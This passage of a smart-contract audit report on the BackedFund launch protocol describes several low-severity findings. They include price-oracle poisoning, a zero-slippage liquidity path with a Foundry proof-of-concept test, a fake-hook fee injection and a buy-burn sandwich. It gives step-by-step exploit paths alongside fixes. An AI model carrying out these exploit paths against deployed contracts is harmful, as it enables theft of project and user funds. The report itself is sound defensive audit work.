`finalizeLaunch` and `executeBuiltSettlementChunk` carry `whenNotPaused` (`LaunchManager.sol:481`, `:500`), while `cancelUnfinalizedLaunch` (`LaunchManager.sol:664-690`) checks only `status == Active` and `block.timestamp >= endTime + FINALIZATION_GRACE_PERIOD` (7 days). `_markFailed` then sets `Failed` in both LaunchManager and LaunchRegistry and burns the launch's entire token balance (`:789-794`), an irreversible transition. No soft-cap check exists on the cancel path.

Impact

- **Creator / buyers wanting the launch:** a successful sale is irreversibly converted into refunds during an emergency pause.
- Scope note: requires a pause longer than the grace window (admin-driven precondition); buyer ETH stays refundable.

Exploit path

1. Sale ends with raised >= softCap but < hardCap.
2. Guardian pauses LaunchManager before anyone finalizes; pause lasts past endTime + 7 days.

3. Any buyer who prefers a refund calls `cancelUnfinalizedLaunch(launchId)` → `_markFailed` burns all launch tokens and sets Failed.
4. After unpause, `finalizeLaunch` reverts `LaunchNotActive`; the launch is permanently failed.

Recommendation

Add `whenNotPaused` to `cancelUnfinalizedLaunch`, or extend the grace window by the time spent paused.

```
function cancelUnfinalizedLaunch(uint256 launchId) external nonReentrant whenNotPaused { ... }
```

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 10: cancelUnfinalizedLaunch ignores the LaunchManager pause, so a pause spanning endTime+7 days lets anyone fail a soft-cap-successful sale. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-04 Zero-liquidity pre-seed swaps poison the TWAP that addDripLiquidity later trusts

Source: GitHub issue #11
Severity: Low

Description

Severity	Low (reported: Medium)
Confidence	Medium
Location	`LaunchPoolFactory.sol:addDripLiquidity`
Sources	Ours

Class	MEVEconomic (V0)
Discovered via	skill-feynman-novel / mev-economic
Phase 3 verdict	severity_mismatch → Low
PoC	none

Description

What's wrong

The launch pool's price oracle starts recording the moment the pool is created — long before the pool has any real liquidity to keep its price honest. Anyone can swing that price for almost nothing during the empty period, and the oracle writes it down anyway. When the drip mechanism later asks the oracle for a 30-minute average price to size a liquidity top-up, that average can still be partly built from the manipulated, no-liquidity period, so the top-up gets priced off a number nobody actually traded at.

How

`BackedFundFeeHook.afterInitialize` (`BackedFundFeeHook.sol:3582`) starts the oracle (`_oracleStates[poolId]`) the moment the pool is created, at `cardinality: 1`. Every subsequent swap — including the free, zero-liquidity manipulation swap described in the companion finding — calls `_recordTick(poolId, _currentTick(poolId))` unconditionally at the top of `afterSwap` (`BackedFundFeeHook.sol:3660`), before any `cfg.split.configured` check, so the manipulated tick is written into `_oracleStates`/`_observations` regardless of whether the pool has real liquidity.
`LaunchPoolFactory.addDripLiquidity` (`LaunchPoolFactory.sol:455`) — reachable roughly every 10 minutes for 30 days per the documented drip schedule (§7 Test-Derived Invariants: 'Liquidity drip interval: 10 minutes') — calls `IBackedFundFeeHook(launchPool.hook).consult(key, 30 minutes)` (`LaunchPoolFactory.sol:549`) and feeds the returned `twapTick` straight into `TickMathLib.getSqrtRatioAtTick(twapTick)` to size the drip deposit. `consult`'s minimum window is only `MIN_ORACLE_WINDOW = 30 minutes` (`BackedFundFeeHook.sol:3394`), with no check for whether real liquidity existed throughout that window. Because seeding can happen well within 30 minutes of a drip call, the very first `consult(key, 30 minutes)` call after seeding necessarily straddles the pre-seed, zero-liquidity, manipulated period.

Impact

- **Project/creator (drip-funded launches)** → the first several `addDripLiquidity` calls after seeding can be priced off a tick nobody genuinely traded at, distorting the token/counter-asset ratio contributed for that tranche.
- **Protocol** → breaks the documented invariant that `consult` supplies a manipulation-resistant reference (the whole reason `addDripLiquidity` uses `consult` instead of `slot0` directly, per the Step-14-safe pattern), without the safety that pattern is meant to provide.
- Bounded impact: each affected tranche is a small slice (~1/4,320) of the 30-day drip schedule, so this is a repeated-dust-style leak rather than a single catastrophic loss — capped at Medium per the dust/bounded-tranche calibration in severity-criteria.md.

Expected delta: Drip-liquidity deposit sized off a contaminated TWAP; magnitude bounded by the per-interval drip tranche (README.md: 4,320 ten-minute intervals over 30 days), not the full raise

Exploit path

1. Pool is created (afterInitialize starts the oracle at cardinality 1) while liquidity is still zero. 2. Any address performs a cheap swap (as in the companion finding) that moves `_currentTick`; `afterSwap` unconditionally calls `_recordTick`, writing the manipulated tick into the oracle's cumulative state. 3. LaunchPoolFactory seeds real liquidity (`seedLiquidity`) at some later time T. 4. The trusted drip contract calls `addDripLiquidity` within the documented ~10-minute interval after T; `consult(key, 30 minutes)` computes its average over `[T+Δ-30min,`

`T+Δ]`, a window that includes the pre-seed manipulated period whenever `Δ < 30 minutes` (guaranteed by the 10-minute drip cadence). 5. `addDripLiquidity` prices the drip deposit off this contaminated `twapTick`, causing the drip liquidity to be added at a ratio that does not reflect genuine post-seed trading.

Recommendation

Track a `seededAt` timestamp on `LaunchPool` and require `addDripLiquidity` to reject (or `consult` to reject) any TWAP window that predates it, so the oracle's minimum lookback is measured from first-real-liquidity rather than from pool creation.

```
// LaunchPoolFactory.sol
struct LaunchPool { /* ... */ uint64 seededAt; }

function addDripLiquidity(...) external nonReentrant returns (...) {
    LaunchPool storage launchPool = _launchPools[launchId];
    require(block.timestamp >= uint256(launchPool.seededAt) + 30 minutes, "Factory: TWAP window predates seeding");
    // ... existing consult() + unlock() flow
}
```

Alternatively, harden `BackedFundFeeHook.consult` to revert when the requested window's start predates the pool's first liquidity-add event.

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 11: Zero-liquidity pre-seed swaps poison the TWAP that addDripLiquidity later trusts. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-05 Automatic liquidity-support path hardcodes minLiquidity to zero, disabling slippage protection

Source: GitHub issue #12
Severity: Low

Description

Severity	Low (reported: High)
Confidence	Medium
Location	`ProjectSupportController.sol:_executeLiquiditySupport`
Sources	Ours
Class	MEVEconomic (V18)
Discovered via	skill-pattern-match / mev-economic
Phase 3 verdict	severity_mismatch → Low
PoC	[POC-PASS]

Description

What's wrong

Any address can force a project's liquidity-support fund to be spent on a near-worthless liquidity deposit, because the automatic path that adds that liquidity carries no minimum-output protection at all — while the exact same operation, called directly by a user, is protected by a real, caller-chosen floor.

How

`ProjectSupportController.executeAutomaticLiquiditySupport` (`ProjectSupportController.sol:496`) calls the private `_executeLiquiditySupport` with a literal `0` in the `minLiquidity` slot, so the downstream `require(liquidityAdded >= minLiquidity, ...)` at `ProjectSupportController.sol:557` is satisfied by any nonzero return value. `_attemptAutomaticLiquiditySupport` (`ProjectSupportController.sol:703`) reaches this self-call from `_runPostBuyBurnAutomation` (`ProjectSupportController.sol:649`), itself reached from the permissionless `executeBuyBurn` (`ProjectSupportController.sol:368`, no access-control modifier, only `whenNotPaused nonReentrant`). Compare the sibling `executeLiquiditySupport` (`ProjectSupportController.sol:472`), which forwards the caller's own `minLiquidity` into the identical private function — proving the parameter is a real, load-bearing floor that the automatic path simply never wires up. `_executeLiquiditySupport` debits the full `liquidityBalance[launchId][currency]` tranche unconditionally (`ProjectSupportController.sol:546`) *before* the executor call returns, so the fund is spent regardless of how little liquidity value the manipulated-price add actually produces.

Impact

- **Project's liquidity-support fund** loses its entire per-cycle `liquidityBalance[launchId][currency]` tranche → the balance is debited in full (`ProjectSupportController.sol:546`) regardless of how little liquidity the manipulated-price add actually returns.
- **Any permissionless caller** can trigger the loss simply by calling `executeBuyBurn` once the daily buy/burn interval and the 1-day liquidity `EXECUTION_COOLDOWN` have elapsed — no privileged role, deposit, or bond is required to fire the vulnerable path.
- **Repeatable** — up to 100% of that cycle's liquidity-support tranche is exposed per trigger, and the cooldown resets after every trigger, so the same project can be drained again once every `EXECUTION_COOLDOWN` (24h) for as long as it keeps accruing trading-fee liquidity support.

Expected delta: Attacker's round-trip swap nets the price-impact difference on the full drained liquidity-support tranche (up to 100% of liquidityBalance[launchId][currency] per trigger); exact size scales with pool depth and tranche balance, and the

trigger is repeatable every EXECUTION_COOLDOWN (24h) for as long as the project keeps accruing liquidity-support funds.

Exploit path

1. Attacker waits until a graduated project's buy/burn interval and its 1-day liquidity `EXECUTION_COOLDOWN` have both elapsed and `liquidityBalance[launchId][currency] > 0` — the routine steady state for an active, trading project.
2. In the same transaction, attacker flash-borrows `currency` (or `project.token`) and swaps against the project's DEX pool to push the currency/token spot price to the attacker's favor.
3. Attacker calls the permissionless `executeBuyBurn(launchId, currency, minTokensOut, deadline)` (`ProjectSupportController.sol:368`). The buy/burn leg itself is protected by the caller's own `minTokensOut`.
4. `executeBuyBurn` unconditionally calls `_runPostBuyBurnAutomation` (`:403` direct-burn path, `:436` swap path) → `_attemptAutomaticLiquiditySupport` (`:657`) → self-call `executeAutomaticLiquiditySupport(launchId, currency, amount, deadline)` (`:703` → `:496`).
5. `executeAutomaticLiquiditySupport` invokes `_executeLiquiditySupport(..., minLiquidity = 0, ...)`. The full `liquidityBalance[launchId][currency]` tranche is debited (`:546`) and forwarded to `liquidityExecutor.addLiquiditySupport(...)` at the manipulated spot price.
6. `require(liquidityAdded >= 0)` (`:557`) trivially passes no matter how little liquidity value the manipulated-price add produced.
7. Attacker reverses the price manipulation with an opposite-direction swap and repays the flash loan; the value that should have priced fairly into the added liquidity is instead captured in the attacker's round-trip.

Recommendation

Derive a nonzero `minLiquidity` in `executeAutomaticLiquiditySupport` before forwarding it to `_executeLiquiditySupport`, instead of hardcoding `0` — quote the current pool price and bound it by `executionSlippageBps`, mirroring the protection the user-facing `executeLiquiditySupport` already gets from a caller-supplied `minLiquidity`.

```
function executeAutomaticLiquiditySupport(
    uint256 launchId,
    address currency,
    uint256 amount,
    uint256 deadline
) external returns (uint256 liquidityAdded) {
    require(msg.sender == address(this), "SupportController: not self");
    Project storage project = _requireProject(launchId);
    uint256 minLiquidity = _quoteMinLiquidity(project.token, currency, amount, executionSlippageBps);
    require(minLiquidity > 0, "SupportController: unpriced liquidity add");
    return _executeLiquiditySupport(launchId, currency, amount, minLiquidity, deadline, project);
}
```

Proof of concept

`forge test` passes. Foundry test `PoC_03b41.t.sol` (uses the repo's `MockV4PoolManager`, which is not price-forming; a Base-fork reproduction is still recommended):

PoC_03b41.t.sol

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.35;

import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ProjectSupportController} from "../../contracts/treasury/ProjectSupportController.sol";
import {LaunchMode} from "../../contracts/types/LaunchTypes.sol";
```

```
import {MockUSDC} from "../../contracts/mocks/MockUSDC.sol";
import {MockMintableToken} from "../../contracts/mocks/MockMintableToken.sol";
import {
    MockConfigurableSupportExecutor,
    MockProjectSupportHook,
    MockTriggeredTreasuryVault
} from "../../contracts/mocks/MockProjectSupportExecution.sol";
import {ILiquiditySupportExecutor} from "../../contracts/interfaces/IProjectSupportController.sol";

/// @notice captain-hook Phase 4 verification PoC for finding 03b41e4c7c72
/// ("automatic liquidity-support path hardcodes minLiquidity=0, disabling
/// slippage protection"). Phase 3 downgraded this to Low because the manual
/// `executeLiquiditySupport` path is equally permissionless with a
/// caller-chosen `minLiquidity`, and any profit-extraction claim depends on
/// the deleted `ILiquiditySupportExecutor` implementation.
///
/// This PoC demonstrates ONLY the in-scope, undisputed behaviour: a stranger
/// calling `executeBuyBurn` triggers the automatic path, which calls the
/// executor's `addLiquiditySupport` with `minLiquidity == 0` and the FULL
/// `liquidityBalance` tranche, and `ProjectSupportController` accepts
/// `liquidityAdded == 0` from the executor without reverting. It does NOT
/// claim profit extraction — `MockConfigurableSupportExecutor` (a recording
/// mock, contracts/mocks/MockProjectSupportExecution.sol) stands in for the
/// deleted `ProjectSupportExecutor` and is configured to return 0 liquidity,
/// simulating "whatever a manipulated-price add produced."
contract PoC_03b41Test is Test {
    uint256 internal constant LAUNCH_ID = 1;

    ProjectSupportController internal controller;
    MockConfigurableSupportExecutor internal executor;
    MockProjectSupportHook internal hook;
    MockTriggeredTreasuryVault internal treasury;
    MockUSDC internal usdc;
    MockMintableToken internal projectToken;

    address internal bbVault;
    address internal liqVault;

    address internal launchManager = makeAddr("launchManager");
    address internal authority = makeAddr("protocolAuthority");
    address internal guardian = makeAddr("guardian");
    address internal creator = makeAddr("creator");
    address internal backed = makeAddr("backedRecipient");
    address internal attacker = makeAddr("attacker"); // an unprivileged stranger

    function setUp() public {
        // Explicit clock variable (via_ir pitfall): read block.timestamp once
        // into a local before warping, rather than nesting vm.warp(block.timestamp + N).
        uint256 startClock = 1_700_000_000;
        vm.warp(startClock);

        controller = new ProjectSupportController(launchManager, authority, guardian);
        executor = new MockConfigurableSupportExecutor();
        controller.initializeSupportExecutor(address(executor));

        usdc = new MockUSDC();
        projectToken = new MockMintableToken("Project", "PRJ");
        hook = new MockProjectSupportHook();
        treasury = new MockTriggeredTreasuryVault();

        vm.prank(launchManager);
        (bbVault, liqVault) = controller.registerProject(
            LAUNCH_ID, address(projectToken), creator, LaunchMode.Standard
        );
        vm.prank(launchManager);
        controller.setTreasuryVault(LAUNCH_ID, address(treasury));

        // Fee routing must resolve to a nonzero feeCurrency (matching the
        // project's own buyBurnVault/liquidityVault) or
        // _attemptAutomaticLiquiditySupport short-circuits before ever
        // reaching the automatic self-call. Claimable amounts are left at 0
```

```
        // so _claimDirectFee / _collectSupportFee are no-ops (no extra funds
        // enter the buckets from this wiring step).
        executor.configureFeeRouting(address(hook), address(usdc), backed, creator, bbVault, liqVault);

        // Executor mints exactly what it reports for the buy-burn leg; the
        // buy-burn leg itself is not the subject of this finding but must
        // succeed for executeBuyBurn to reach the post-buy-burn automation.
        executor.configureBuyBurn(1e18, 1e18, true);
    }

    /// forge-config: default.fuzz.runs = 1
    function test_exploit_5() public {
        // The (mock) liquidity executor stands in for the deleted
        // ILiquiditySupportExecutor and is configured to report ZERO
        // liquidity added for whatever amount it receives — the
        // manipulated-price-add outcome the finding describes. `locked` is
        // set true so the controller's separate lock check does not mask
        // the minLiquidity result.
        executor.configureLiquidity(0, true);

        // Seed a buy-burn tranche and a liquidity-support tranche the
        // legitimate way: the project's registered TreasuryVault deposits
        // yield support.
        uint256 buyBurnSeed = 500e6;
        uint256 liquiditySeed = 1_000e6;
        usdc.mint(address(treasury), buyBurnSeed + liquiditySeed);
        treasury.depositSupport(address(controller), LAUNCH_ID, address(usdc), buyBurnSeed, liquiditySeed);

        uint256 liquidityBefore = controller.liquidityBalance(LAUNCH_ID, address(usdc));
        assertEq(liquidityBefore, liquiditySeed, "liquidity tranche seeded");

        // Elapse exactly one 10-minute buy/burn interval so executeBuyBurn
        // has a nonzero gross amount to execute. The 1-day liquidity
        // EXECUTION_COOLDOWN is already satisfied because
        // project.lastLiquidityExecution == 0 and startClock >> 1 day.
        uint256 clockAfterInterval = startClockSnapshot() + 10 minutes;
        vm.warp(clockAfterInterval);

        // Precise expectation: the automatic path MUST call
        // addLiquiditySupport with minLiquidity hardcoded to 0 and amount
        // equal to the FULL liquidityBalance tranche
        // (ProjectSupportController.sol:496, :703-720). This is the exact
        // calldata the controller is required to emit for the finding to
        // hold; if the automatic path ever derives a nonzero minLiquidity,
        // this expectation fails.
        vm.expectCall(
            address(executor),
            abi.encodeWithSelector(
                ILiquiditySupportExecutor.addLiquiditySupport.selector,
                LAUNCH_ID,
                address(projectToken),
                address(usdc),
                liquiditySeed,
                uint256(0), // minLiquidity == 0, hardcoded on the automatic path
                clockAfterInterval
            )
        );

        // A total stranger — no role, no deposit, no bond — triggers the
        // permissionless entrypoint:
        //   executeBuyBurn (:368, no access-control modifier)
        //   -> _runPostBuyBurnAutomation (:649)
        //   -> _attemptAutomaticLiquiditySupport (:703)
        //   -> self-call executeAutomaticLiquiditySupport(..., minLiquidity=0 hardcoded) (:488-497)
        //   -> _executeLiquiditySupport (:529)
        //   -> executor.addLiquiditySupport(...) (:549)
        vm.prank(attacker);
        controller.executeBuyBurn(LAUNCH_ID, address(usdc), 0, clockAfterInterval);

        // The executor reported 0 liquidity added, and the controller
        // accepted it: require(liquidityAdded >= minLiquidity) at
```

```
        // ProjectSupportController.sol:557 evaluated require(0 >= 0), a
        // trivial pass, and did NOT revert.
        assertEq(executor.liquidityOutput(), 0, "executor configured to return 0 liquidity");

        // The FULL liquidity-support tranche was debited unconditionally
        // in exchange for that 0-liquidity return.
        uint256 liquidityAfter = controller.liquidityBalance(LAUNCH_ID, address(usdc));
        assertEq(
            liquidityAfter,
            0,
            "full liquidity tranche debited through the zero-minLiquidity automatic path"
        );

        // The tranche's real USDC left the controller and reached the
        // executor (at least the liquidity leg's amount; the buy-burn leg
        // separately forwards its own, smaller amount to the same executor).
        assertGe(
            usdc.balanceOf(address(executor)),
            liquiditySeed,
            "full nominal tranche amount forwarded to the executor despite 0 liquidity added"
        );

        // Control: routed through the direct, caller-protected
        // executeLiquiditySupport with the SAME 0-liquidity executor return
        // but a realistic caller-chosen minLiquidity, the identical scenario
        // reverts — confirming minLiquidity is a real, load-bearing floor
        // that the automatic path alone bypasses by hardcoding it to 0.
        // (This control does not claim exclusivity: Phase 3 correctly notes
        // the manual path is also permissionless with an attacker-chosen
        // minLiquidity == 0 available to any caller; the control isolates
        // only the accept/reject behaviour of the require(), not who can
        // reach it.)
        usdc.mint(address(treasury), liquiditySeed);
        treasury.depositSupport(address(controller), LAUNCH_ID, address(usdc), 0, liquiditySeed);
        uint256 clockAfterCooldown = clockAfterInterval + 1 days + 1;
        vm.warp(clockAfterCooldown);
        vm.prank(attacker);
        vm.expectRevert(bytes("SupportController: insufficient liquidity"));
        controller.executeLiquiditySupport(
            LAUNCH_ID, address(usdc), liquiditySeed, liquiditySeed / 2, clockAfterCooldown
        );
    }

    /// @dev Explicit accessor for the setUp clock, kept separate from a raw
    /// `block.timestamp` re-read inside the test body (via_ir pitfall note
    /// from the task brief: prefer an explicit clock variable over chained
    /// block.timestamp reads across vm.warp calls).
    function startClockSnapshot() internal pure returns (uint256) {
        return 1_700_000_000;
    }
}
```

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 12: Automatic liquidity-support path hardcodes minLiquidity to zero, disabling slippage protection. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-06 collectTradingFees trusts caller-chosen hook and currency, breaking the single-fee-currency invariant

Source: GitHub issue #13
Severity: Low

Description

Severity	Low (reported: Medium)
Confidence	Medium
Location	`ProjectSupportController.sol:collectTradingFees`
Sources	Ours
Class	TokenEdgeCases (V0)
Discovered via	skill-feynman-novel / token-edge-cases
Phase 3 verdict	severity_mismatch → Low
PoC	none

Description

What's wrong

Anyone can call the fee-collection entrypoint and hand it a hook contract and a currency of their own choosing instead of the project's real fee hook and real fee token. The contract never checks that either value is genuine, so a caller can register a throwaway contract as if it were the pool's fee hook and make the project's own launch token count as "collected trading fees" — something the protocol's own tests and docs say can never happen.

How

`ProjectSupportController.collectTradingFees(launchId, bucket, hook, currency)` (`ProjectSupportController.sol:279`) resolves the project via `_requireProject`, which only asserts `project.registered` — it never reads `hook` or `currency`. It then calls `ProjectFeeVault(vault).collect(hook, currency)` (`ProjectFeeVault.sol:25`), which blindly trusts a balance-delta pattern: `beforeBalance = IERC20(currency).balanceOf(address(this))`, then `IBackedFundFeeHook(hook).claim(currency)`, then `amount = balanceOf(address(this)) - beforeBalance`. Neither function checks `hook` against the launch's actual registered `BackedFundFeeHook` (stored in `LaunchPoolFactory.getLaunchPool(launchId).hook`, which `ProjectSupportController` never reads) nor `currency` against the pool's single configured `feeCurrency` (the real

hook's `claim()` only ever pays from `_accrued[msg.sender][currency]`, populated exclusively with `currency == feeCurrency` by `_distribute`). An attacker deploys a throwaway `claim(address)` implementation that transfers pre-held `LaunchToken` into the vault, then calls `collectTradingFees(launchId, 1, fakeHook, projectToken)`; `amount > 0` passes and `liquidityBalance[launchId][projectToken] += amount` executes, directly contradicting the test-asserted invariant `liquidityBalance[projectId][projectToken] == 0` throughout (`audit-context.md §7`) and the documented rule that fees accrue "exactly in pool counter asset... never in launched project token" (`audit-context.md §6`).

Impact

- **Protocol accounting** → the single-fee-currency invariant (`liquidityBalance[launchId][projectToken] == 0`) that `audit-context.md §7` asserts and the buy/burn design depends on can be forced false by any caller, for the cost of one contract deployment and ~1 wei of the freely-tradeable LaunchToken — effectively $0 attacker cost.
- **Buy/burn & liquidity-support automation** → once a bogus currency sits in `buyBurnBalance` / `liquidityBalance`, the permissionless executors that consume those ledgers (`executeBuyBurn`, and the liquidity-support path independently flagged in x-ray finding I-20) can be triggered against a currency the pool's real hook never configured, risking reverts/DoS on that tranche or, if a downstream executor does not itself re-validate the currency, misuse of the project's own token as if it were accrued protocol revenue.
- Scope note: this batch could not read `_executeLiquiditySupport`'s implementation (outside this candidate set), so the exact downstream fund-loss mechanism is bounded by unread code — the invariant break itself is proven end-to-end within `ProjectSupportController.sol` / `ProjectFeeVault.sol`.
- **Protocol accounting** → any untrusted address can write an attacker-chosen ERC20 balance, including the launch's own `LaunchToken`, into `buyBurnBalance[launchId][token]` / `liquidityBalance[launchId][token]` — violating the protocol's own tested invariant that project-token fees never accrue (`liquidityBalance[projectId][projectToken] == 0` throughout, per `audit-context.md §7` / `ProjectSupportExecution.test.ts:669`).
- **Injection is unbounded per call** → the credited amount is capped only by how much of the chosen token the attacker pre-funds into FakeHook, not by any check in `collect` or `collectTradingFees` — up to the attacker's entire holdings (e.g. as much as the ≤15%-of-supply creator allocation cap documented in `audit-context.md §7`, if the attacker holds a creator-sized position).
- **Keeper automation** → `_recalculateBuyBurnIntervalAmount(launchId, currency)` and any downstream buy/burn execution for that `(launchId, currency)` pair then operate against a ledger entry whose currency and amount the attacker fully controls, repeatable at will with zero privileged precondition.

Expected delta: 0 net currency extracted by the attacker (the donated amount is self-funded); liquidityBalance[launchId][projectToken] moves from 0 to >0 — an invariant-breaking, currency-mislabeled ledger entry rather than a directly stolen amount

Exploit path

1. Attacker acquires >=1 wei of the launch's LaunchToken (freely tradeable — buy on the seeded pool or contribute to the sale).
2. Attacker deploys `FakeHook`, a ~10-line contract implementing `claim(address currency) external returns (uint256)` that calls `IERC20(currency).transfer(msg.sender, amount)` using LaunchToken it pre-holds (`msg.sender` inside `claim()` is the calling `ProjectFeeVault`).
3. Attacker sends the LaunchToken it will forward to `FakeHook`.
4. Attacker calls `ProjectSupportController.collectTradingFees(launchId, 1 /* liquidity bucket */, address(FakeHook), address(launchToken))`.
5. `collectTradingFees` calls `ProjectFeeVault(project.liquidityVault).collect(FakeHook, launchToken)`.
6. `collect()` snapshots `beforeBalance`, calls `FakeHook.claim(launchToken)`, which transfers the pre-funded LaunchToken into the vault; `amount = balanceAfter - beforeBalance > 0` passes the `require`.
7. `collect()` forwards `amount` of `launchToken` to `ProjectSupportController`.
8. `collectTradingFees` executes `liquidityBalance[launchId][launchToken] += amount` (or `buyBurnBalance` for bucket 0) — the invariant `liquidityBalance[projectId][projectToken] == 0` is now false, with no reversion path anywhere in the call chain.

Recommendation

Validate `hook` and `currency` against the launch's actually-registered pool before trusting the collected delta. Store the launch's fee hook and counter-asset (read once from `LaunchPoolFactory.getLaunchPool(launchId)` during `registerProject` / `setTreasuryVault`-style wiring, or have `LaunchManager` pass them at registration) and require the caller-supplied values match:

```
function collectTradingFees(uint256 launchId, uint8 bucket, address hook, address currency)
    external
    whenNotPaused
    nonReentrant
    returns (uint256 amount)
{
    Project storage project = _requireProject(launchId);
    require(bucket < 2, "SupportController: invalid bucket");
    require(hook == project.hook, "SupportController: not registered hook");
    require(currency == project.feeCurrency, "SupportController: not fee currency");
    address vault = bucket == 0 ? project.buyBurnVault : project.liquidityVault;
    amount = ProjectFeeVault(vault).collect(hook, currency);
    // ... unchanged ...
}
```

As defense-in-depth, `ProjectFeeVault.collect` (`ProjectFeeVault.sol:25`) should also reject `currency == token-being-protected` (the project's own launch token) outright, since no legitimate fee-hook call ever needs to move that token through this path.

Filed from the BackedFund stage-1 audit (captain-hook run + external findings, merged). Commit `07ea04f`.

Impact

See the concrete security and operational consequences described in the finding analysis.

Proof of Concept

Reproduce the affected call path described in the authoritative issue write-up for finding 13: collectTradingFees trusts caller-chosen hook and currency, breaking the single-fee-currency invariant. Compare the vulnerable behavior with the expected invariant and affected accounting or control-flow state.

The authoritative issue write-up includes the affected call path and relevant code excerpts.

Recommendation

Apply the remediation described in the finding analysis and add a regression test covering the failing path.

Status

Fixed — Client-confirmed remediation status. The GitHub issue ledger remains administratively open; independent commit-level and regression-test evidence was not available in the repository state reviewed for publication.

L-07 executeBuyBurn lets the triggering caller self-select minTokensOut=0, enabling a self-paid sandwich of the guaranteed buy-burn swap

Source: GitHub issue #14
Severity: Low

Description

Severity	Low (reported: Medium)
Confidence	Medium
Location	`ProjectSupportController.sol:executeBuyBurn`
Sources	Ours
Class	MEVEconomic (V2)
Discovered via	phase-27-variant
Phase 3 verdict	severity_mismatch → Low
PoC	none

Description

What's wrong

Anyone can trigger the protocol's scheduled buy-and-burn purchase, and the only price protection on that purchase is a number the trigger-caller picks for themselves. Because the same address decides both "this trade is fine at any price" and "here is my trade," that address can push the pool price first, trigger the guaranteed purchase into the price it just pushed, and pocket both the price impact and a guaranteed fee for pulling the trigger — exactly the sandwich pattern the seed finding exploits against `releaseLiquidity`, aimed here at a different permissionless value-moving call.

How

`ProjectSupportController.executeBuyBurn` (`ProjectSupportController.sol:368`) is `external` with no caller restriction beyond `whenNotPaused` / `nonReentrant`; its size and timing are fully predictable off-chain via the public `availableBuyBurn` view (`:453`) and the `BUY_BURN_INTERVAL` (10-minute) schedule. On the swap-then-burn branch (`currency != project.token`, `:409-436`), the only output floor is the caller-supplied third parameter `minTokensOut` — `require(tokensBurned == reported && tokensBurned >= minTokensOut, ...)` (`:421`) — which the same caller who triggers the swap chooses and can set to `0`. The controller declares `executionSlippageBps` (`:53`, settable via `setExecutionSlippageBps` at `:592-599`, whose NatSpec implies it bounds "price-impact checks"), but grep across the whole file shows it is only ever written, never read, on the buy-burn path — no in-scope code derives `minTokensOut`'s floor from it or from any on-chain price reference.

`BackedFundFeeHook.updateDynamicLPFee(key, 0)` (`BackedFundFeeHook.sol:248`) pins the same launch pool's dynamic LP fee to zero, so a front-run/back-run pair through it costs only the fixed hook fee.

`callerIncentive` (`BUY_BURN_EXECUTOR_INCENTIVE_BPS` = 1%, computed at `:756-758`) is transferred to `msg.sender` at `:395` — before the swap executes and regardless of the price it clears at.

Impact

- **Project's buy-burn balance** → the protocol's own scheduled deflationary purchase clears at a price the trigger-caller chose to move, converting less `currency` into burned tokens than a fair-price execution would — value that should have gone toward the burn instead flows to whoever fronts the trade.
- **Any permissionless caller** → collects `BUY_BURN_EXECUTOR_INCENTIVE_BPS` (1% of the gross tranche, `ProjectSupportController.sol:395`) unconditionally, with no requirement that the swap they triggered cleared at a fair price, since they are also the one who set `minTokensOut`.
- Repeatable every `BUY_BURN_INTERVAL` (10 minutes) as balance refills from ordinary trading-fee/yield inflows — this is not a one-shot leak but a recurring surface on every graduated project's buy-burn cycle.

Expected delta: Attacker profit bounded by the price impact of the tranche-sized purchase captured via front-run/back-run, plus the unconditional 1% BUY_BURN_EXECUTOR_INCENTIVE_BPS on the gross tranche, less two legs of the fixed hook fee; amplified whenever the tranche is large relative to pool depth (e.g. the documented idle-interval catch-up flush that can size a single tranche at up to 100% of the accrued balance)

Exploit path

1. Attacker reads the public `availableBuyBurn(launchId, currency)` (`ProjectSupportController.sol:453`) to learn the exact `grossAmount` / `callerIncentive` that becomes executable once the current 10-minute interval elapses. 2. Attacker buys `project.token` through the launch's own hooked pool, paying only the fixed hook fee since the LP fee is pinned to zero (`BackedFundFeeHook.sol:248`), pushing the pool price up. 3. Attacker calls `executeBuyBurn(launchId, currency, 0, deadline)` (`ProjectSupportController.sol:368`); `minTokensOut = 0` passes trivially at `:421`, the swap-then-burn leg clears at the now-inflated price, and the attacker still collects the unconditional 1% `callerIncentive` (`:395`) regardless of how bad that price was. 4. Attacker sells the tokens bought in step 2 back into the pool, realizing the price appreciation caused by both their own purchase and the guaranteed buy-burn purchase that followed it, again paying only the fixed hook fee.

Recommendation

Derive `minTokensOut`'s floor inside the controller from an on-chain price quote bounded by `executionSlippageBps` (currently declared and settable but never read on this path), so a self-selected `minTokensOut = 0` can no longer pass unopposed.

```
function executeBuyBurn(
    uint256 launchId,
    address currency,
    uint256 minTokensOut,
    uint256 deadline
) external override whenNotPaused nonReentrant returns (uint256 tokensBurned) {
    // ... existing checks and tranche sizing ...
    uint256 quotedOut = _quoteBuyBurnOutput(project.token, currency, amount);
    uint256 floor = Math.mulDiv(quotedOut, BPS_DENOMINATOR - executionSlippageBps, BPS_DENOMINATOR);
